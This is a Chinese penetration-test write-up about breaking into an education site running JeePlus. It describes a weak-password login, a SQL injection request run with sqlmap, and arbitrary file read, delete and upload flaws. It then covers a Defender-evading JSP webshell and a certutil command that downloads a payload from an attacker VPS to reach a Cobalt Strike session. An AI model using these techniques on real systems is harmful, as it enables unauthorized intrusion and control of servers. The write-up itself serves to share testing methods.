0x01 前言
碰到了一个对外宣传安全的站点,但实际测试下来并不安全。不过在这次获取权限的过程中确实走了点弯路,记录下来和大家分享一下。
0x02 过程
1. 进入
https://xxx.edu.cn/a/login
使用弱口令成功登入。
2. 寻找上传点
进来后找到一处文件上传的功能。前端对上传的文件类型做了简单校验,这里我们先提交一个空文本并抓包。
发现上传路径可以自定义,而且响应里直接返回了绝对路径。尝试访问这个路径后却发现文件只能被下载,无法解析。
继续翻找,又看到一个头像上传的入口。上传一张正常图片后,虽然提示上传成功,但响应中并没有给出返回地址。
之后在“个人资料”处发现了图片的真实地址。我们重新构造请求报文,直接把后缀改成 .jsp,居然上传成功了。刷新个人信息拿到链接,结果文件还是只能被下载。
3. 突破口
从 Cookie 中看到 jeeplus 字样,果断搜索 jeeplus getshell 的方法。
原来早就有人做过代码审计了。
1)SQL 注入
在已有 PoC 的基础上,用 sqlmap 跑起来。注入点在 * 标记的位置:
/a/sys/register/registerUser?roleName=wangba&mobile=13300990099\*&randomCode=2131&loginName=test1&password=123123&confirmNewPassword=123123&ck1=on&randomCode=2131&loginName=test1&password=123123&confirmNewPassword=123123&ck1=on
sqlmap 的结果显示后端是 Oracle 数据库。尝试了一些查询和提权都没成功,而且 Oracle 注入下只能做查询操作,放弃。
2)文件管理
直接访问 https://xxx.edu.cn/a/sys/file 就能越权进入文件管理页面。这里只能下载目录下的文件,但上传、删除、下载的接口我们都测了一遍。
a. 任意文件读取
下载接口直接返回文件内容,存在任意文件读取。
b. 任意文件删除
甚至可以删除整个文件夹。
c. 任意文件上传
可以自定义上传路径,如果路径不存在则自动创建目录并上传。
3)尝试上传文件到可解析目录
最初想到上传到 static 目录,因为这个目录可以被直接访问。结果仍然 404。
这就是没找到正确路径的问题。想去官网下载源码,注册后根本没看到源码下载入口。后来在凌风云网盘搜了一下,发现有历史版本,感觉应该差异不大。挑了一个体积较大的下载解压,拿到目录结构。想通过读取配置文件来定位绝对路径,结果读到的路径还是不对。
突然想到站点的目录还没扫过,直接用 dirsearch 跑一波。当扫出 web.xml 这些配置文件的时候,就知道有戏了。
web.xml 里没看出什么,但在 conf/server.xml 中发现了站点的另一个路径,猜测这就是前端访问的实际路径。通过任意文件读取接口构造 C:\tomcat\webapps\xxxx\WEB-INF\web.xml,果然有内容返回,说明路径找对了。接着又发现了 404.jsp 的位置,对比手头的源码,最终确定上传文件到 webpage 目录一定能被解析。
尝试直接上传一个 webshell。
4)免杀绕过 WD 检测
虽然可能存在 WAF,但识别下来是 Apache generic,不至于拦截上传。再用 nmap 对机器做识别,发现是 Windows 10,立马想起 Windows Defender 的压迫感。不过换个免杀马就行,找了一番后用了之前 HW 碰到的一个 webshell:
https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/jsp/Runtime-reflect-cmd.jsp
5)上线 CS
成功上传并执行命令后,原本想通过 PowerShell 上线,试了多种命令包括免杀命令都失败。最后通过 certutil -urlcache -split -f http://VPS/免杀马子.exe 远程下载免杀马,成功上线 CS。
代理出来进入桌面,果然开着 Windows Defender。上机之后才知道,原来管理员把上传文件夹路径放到了 F 盘,主体在 C 盘,估计就是怕内存不够吧。
0x03 总结
碰到没有头绪的站点,就要做好信息收集,扩大攻击面。指纹识别、端口扫描、路径扫描都是老生常谈的手段,这次还结合了公网网盘信息泄露的点,不然还得继续猜路径。当然,所有测试的前提都是已取得相关授权。更多渗透测试技巧与安全资源,欢迎访问 云栈社区安全板块。